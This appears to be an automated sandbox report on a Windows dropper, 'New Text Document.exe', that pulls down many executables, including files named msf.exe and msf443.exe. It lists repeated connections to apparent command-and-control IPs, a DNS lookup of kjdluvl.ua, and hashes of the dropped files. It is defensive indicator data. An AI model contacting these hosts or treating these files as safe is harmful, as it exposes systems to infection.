GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
N/A 224.0.0.251:5353 udp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 89.197.154.116:7810 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
N/A 127.0.0.1:14231 tcp
RU 109.237.99.184:443 tcp
RU 46.226.244.0:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
KR 27.102.130.176:8443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 46.226.244.0:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
N/A 127.0.0.1:14231 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 46.226.244.0:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
N/A 127.0.0.1:14231 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
N/A 127.0.0.1:14231 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
LT 91.211.247.248:53 kjdluvl.ua udp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
N/A 127.0.0.1:14231 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 46.226.244.0:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
N/A 127.0.0.1:14231 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
N/A 127.0.0.1:14231 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp

Files

C:\Users\Admin\Desktop\New Text Document.exe

MD5 a239a27c2169af388d4f5be6b52f272c
SHA1 0feb9a0cd8c25f01d071e9b2cfc2ae7bd430318c
SHA256 98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc
SHA512 f30e1ff506cc4d729f7e24aa46e832938a5e21497f1f82f1b300d47f45dae7f1caef032237ef1f5ae9001195c43c0103e3ab787f9196c8397846c1dea8f351da

memory/5028-4-0x00007FF9D2053000-0x00007FF9D2055000-memory.dmp

memory/5028-5-0x0000000000180000-0x0000000000188000-memory.dmp

memory/5028-6-0x00007FF9D2050000-0x00007FF9D2B12000-memory.dmp

C:\Users\Admin\Desktop\a\123.exe

MD5 e3eb0a1df437f3f97a64aca5952c8ea0
SHA1 7dd71afcfb14e105e80b0c0d7fce370a28a41f0a
SHA256 38ffd4972ae513a0c79a8be4573403edcd709f0f572105362b08ff50cf6de521
SHA512 43573b0cbaac6e2e1646e6217d2d10c40ad10b9db1f4492d6740545e793c891b5e39283a082896c0392b88eb319dfa9392421b1c89c094c9ce9f31b53d37ebaf

memory/5028-16-0x00007FF9D2053000-0x00007FF9D2055000-memory.dmp

memory/5028-17-0x00007FF9D2050000-0x00007FF9D2B12000-memory.dmp

C:\Users\Admin\Desktop\a\SKOblik.exe

MD5 c3968e6090d03e52679657e1715ea39a
SHA1 2332b4bfd13b271c250a6b71f3c2a502e24d0b76
SHA256 4ad1cc11410e486d132dce9716eebe6a2db0af0fcbf53ee87bc9c0af6a5aa1d4
SHA512 f4908cce3e77a19bcbdc54487e025868cbd2c470b796edbf4a28aebc56cb9212019496f32eb531787de2ca9e8af0aedab2fde3d7aecee9e6a3fe3f5e4ce7670a

C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe

MD5 38dbe26818d84ca04295d639f179029c
SHA1 f24e9c792c35eb8d0c1c9f3896de5d86d2fd95ff
SHA256 9f94daaec163d60c74fff0f0294942525be7b5beaf26199da91e7be86224ceeb
SHA512 85c2261fdc84aee4e0bab9ebe72f8e7f0a53c22a1f2676de0c09628a3dbe6ebc9e206effd7a113a8e0e3fdb351656d0ebb87b799184591655778db0754e11163

memory/1860-50-0x0000000000400000-0x000000000051A000-memory.dmp

memory/1860-52-0x0000000000400000-0x000000000051A000-memory.dmp

C:\Users\Admin\Desktop\a\Guide2018.exe

MD5 35d0a7832aad0c50eaccdba337def8cc
SHA1 8bd73783e808ddfd50e29aff1b8395ea39853552
SHA256 f2f007107f2d2fffe5328114661c79535b991e6f25fe8cc8e1157dd0b6a2723b
SHA512 f77055a833ba6171088ee551439a7686208f46ccb7377be3f4ed3d8c03304ca61b867e82db4241ea11763f5dfbdda0b9a589de65d1629b1ea6c100b515f29ff0

C:\Users\Admin\Desktop\a\stories.exe

MD5 cbb34d95217826f4ad877e7e7a46b69c
SHA1 d903374f9236b135cf42c4a573b5cd33df9074bd
SHA256 707b321c42fbaa91cf41a9b41c85f3b56c7326cb32f40fc495f17df83b21cbed
SHA512 eec4382387a1c2223da3350a28ec250cfa6dd2edb7eda6c516ee32fc784638f23005e992af337e9d87878fe2049b0a41df7f1c65c9d717d6a8771d7833be3f60

memory/4992-131-0x0000000000400000-0x00000000004BE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp

MD5 d39963c7160d31f9ef536becf3004498
SHA1 9485f170d679b63b6eaef023c2459d50e665dcd6
SHA256 70cdfb9222cfe63dc84ccb91fc76ed489e3a8ab62876dd0eaf57659d6d9d0adc
SHA512 b5b5cd3623af8be77979d51b6f7a19504f565435a256c2b5b908faca335ed1a330131c5b8bf845b290fb980c778434aa7addbcba3043c4421f7c9343344fdad5

C:\Users\Admin\AppData\Local\Temp\is-QE02U.tmp\_isetup\_iscrypt.dll

MD5 a69559718ab506675e907fe49deb71e9
SHA1 bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512 e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe

MD5 f978d5eba9977af32374dcb616cb63fe
SHA1 d45c19f173d68fb11dd1c358b42b135e634ebe4e
SHA256 2921409fa28850e3c1874ae52a25b00f93961c278cf131f11f67cee89061f7c8
SHA512 0075c468db47b8f92b9d329089a61fd554c5f7fc374be34fcff8f925dba334ba41bab09303e16d32607597af5e2636203db312c412fc68b3bee60a799620fe9f

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\sqlite3.dll

MD5 e477a96c8f2b18d6b5c27bde49c990bf
SHA1 e980c9bf41330d1e5bd04556db4646a0210f7409
SHA256 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660
SHA512 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

memory/3560-194-0x0000000000400000-0x000000000079F000-memory.dmp

memory/3560-193-0x0000000000400000-0x000000000079F000-memory.dmp

C:\Users\Admin\Desktop\a\wwbizsrvs.exe

MD5 2912cd42249241d0e1ef69bfe6513f49
SHA1 6c73b9916778f1424359e81bb6949c8ba8d1ac9f
SHA256 968b7f6af70d85cf079621d8c4d54bb7385a584f2a3d3ef981610ae88cf939b0
SHA512 186ede7c630b7bcc3dacffd6ce92f10fc552305ff0a209572d8601d7b9a65845b9834a2e1e96a159450578705e0fc75c943f8e9af0fb31f9e21a5928030d3835

C:\Users\Admin\Desktop\a\msf.exe

MD5 e24e7b0b9fd29358212660383ca9d95e
SHA1 a09c6848e1c5f81def0a8efce13c77ea0430d1d5
SHA256 1c6ed59c11a8dc5d058c71cfccbcfbdbaff75c67a3dc1c5395044ff92b0ddfa1
SHA512 d5b34a3704311ecf99e92ba66206dea6f4c0b1f1412c588ee6c176a172a13e3230ff0b22f15860af9b1e39c7fb033dd5bf6ae5a33d090478d123645c4cc059f4

memory/3100-220-0x0000000001630000-0x0000000001631000-memory.dmp

C:\Users\Admin\Desktop\a\msf443.exe

MD5 8ca7845e555675b9484e6dfea4f2445c
SHA1 c07d875df58b2031160a17110129114727e1e4ea
SHA256 2522d9ecb8b221dfc36a62255d68fc1ef758c436791358117615c20f29c4fe9a
SHA512 54b87b226d976fe73d03b2ee6881a3fb2bd529227cb10d505bf2a2570e1839aba326d0930d34585a13b91d15bb68e7a216f3ba7ab20639f0cd9f6269682e198e

memory/1964-232-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

C:\Users\Admin\Desktop\a\client.exe

MD5 9579af96367447427b315b21b8adde36
SHA1 b26ecdb467ea4c9d233a95ff2fc4b8fe03fb20b3
SHA256 0e102ff9e7499b9f30e22129983c60b70f993058f4bbd6d7cc54799a66300205
SHA512 6ac8dd2001954c282d6020a65d1944b253df6819464435b0f5c124330b2df8962b3cb40c3565a6ff9b31c2985012bff69c3e3091da6e4dbc788bc71ab62dcf67

C:\Users\Admin\Desktop\a\Pawyvstri.exe

MD5 3abeea9e0966e3e67ec73a3ac58cf654
SHA1 2cb41de6040fb5c378432b7504dc1a6dec6f841b
SHA256 3568f8e5106716816e704fc52653c73d750faa4cf3e01fd14e6df29cb5d46cb0
SHA512 77b3e46f199f0a1e6d1972bd1339f564ef60912cfb350e827bd7305cc738c7b546fc7dfc77e0cb08aae40866878b5f87b454d939b5206b976a15e1aa7e96581f

memory/1156-266-0x0000000000270000-0x000000000029C000-memory.dmp

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

MD5 66ff1390c2cb8e18a5ed550f8dce6a34
SHA1 17f102c8ec11b0435b158ed898f9d95f2cd31638
SHA256 bc4f57934371fb9a46fe4ca5166ab1a4e16d523c4a43c28e4a7eded85839166b
SHA512 ae1c0e214b31d4613e74b4c59f2d670cf32a039c2eb0cf92a1c2b71a652c436c891a3abc52a1ea80ef4c7cff1cf009ccc2149cb2765ed596b48e8f84cee242fd

memory/2968-278-0x0000000000090000-0x0000000000142000-memory.dmp

memory/2968-279-0x0000000004F50000-0x00000000054F6000-memory.dmp

memory/2968-280-0x0000000004AA0000-0x0000000004B32000-memory.dmp

memory/2968-281-0x0000000004BE0000-0x0000000004C7C000-memory.dmp

memory/2968-282-0x0000000004B50000-0x0000000004B5A000-memory.dmp

memory/1140-283-0x000000001B510000-0x000000001B51A000-memory.dmp

memory/1140-284-0x000000001C410000-0x000000001C4B6000-memory.dmp

memory/4992-285-0x0000000000400000-0x00000000004BE000-memory.dmp

memory/2708-286-0x0000000000400000-0x0000000000679000-memory.dmp

C:\Users\Admin\Desktop\a\op.exe

MD5 f5d20b351d56605bbb51befee989fa6e
SHA1 f8ff3864707de4ec0105a6c2d8f26568e1754b60
SHA256 1fce2981e0d7d9c85adeea59a637d77555b466d6a6639999c6ae9b254c12dc6b
SHA512 9f739359bc5cf364896164d5790dc9e9fb90a58352f741971b8ac2c1915e8048f7c9b787361ab807b024949d0a4f53448c10b72d1b10c617d14eac0cae9ee123

memory/3560-315-0x0000000060900000-0x0000000060992000-memory.dmp

memory/3560-328-0x0000000000400000-0x000000000079F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe

MD5 56e9fd0907c410efa0d1b900530ced6d
SHA1 355053bcbd29eed77126ff7239d94c8a991b70da
SHA256 8b439cc5bf4db70a29dc68cb2adb72daa747ccbe75e447c2423f7793de69fbcb
SHA512 0c9335459ab085dddaea9fe4eb9434b5d87f3ed909a93b791fff1b4d7b717977eaac02c50e80063f0d590d82d1fae7dec486767fb1a56b87e75b8b5aa50a3ec9

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\BundleConfig.json

MD5 720e816b722b5d82ebfc9dcb44f28f69
SHA1 f3a7ec0cc47e7c5da8759e601f617bd2a946fd5b
SHA256 b90ea75c7284525014467554cd68b3dca1fa8cd2420013b960e377523a9ab962
SHA512 3430372b3acfa59251c12137d2dac179127c3a423bd20abf9b07a6e63f7e15fa65a568f71efd0b4b2491ca36a8afef948d1e73f4fd1ca5e476c80a66236a2e20

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\Resources\InstallingPage.html

MD5 182facad1a7a6722f02415f18380159f
SHA1 65c1af45c0e817c10104002803b95594fa182c89
SHA256 9a23979eb2e5d3fabb1826ed42f4e21dabfe3eb1a239006e826849fc92095ac4
SHA512 d7d20fe9d4a67a912b66bbbe495d8ad000de45b4b0bebc1cd2e10fea84dc2c97f1b2e8667c53d9c2a7e11a02f0773b8f06a4debec774933856461ed28671c14e

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\Newtonsoft.Json.dll

MD5 aad594c15911f1554982ee21d55029cf
SHA1 0ad06cb604cd4f77bd6ca81a02d585553865d29d
SHA256 0f56d717fea313ee94b2a2bbaa2650c5fb225575789f83f54750500cd4f07cb2
SHA512 99a3b9113841f6ce1606ee6d757034cdd34a0d68eb0dc31153f728ada368e0d1b1c4cba28591f803a0604d7ee9e4b1c20cfa65f9f5a8a10d0adb70426dad6558

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\MyDownloader.Extension.dll

MD5 15bdd1c6dbee57849faf507d9dcdbf2b
SHA1 54d00165cd11709885d266a5def87c76a0976828
SHA256 91c5a090148bd616e443aabaf15e5c80d142a8ad993af693283a13b6118c99cb
SHA512 ec2c7e451c4423e98d539acbc550baea4845a0d03f1b768cfcbd0c31011145f1464801d2238b71450d7081e03b8739781cbeb0facec7fa6c195d158a8ad4bea5

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\MyDownloader.Core.dll

MD5 f186e4845cf98bd997f7f4f4096e5765
SHA1 6e7d5275f19914cf01fcc70f5d735dd97ac10a8c
SHA256 b73d6238e9a29848a438276638d318b766e43d21dc2df1a503b553497a7db4fc
SHA512 81ea5f1187b22597b738221f3b68dcb51f3709e98f039ea7c07675d297eacd6564801b152b7ba8e75a9181965e7ff824bf0f8ae3583558a86690025822b0518e

C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\Microsoft.Win32.TaskScheduler.dll

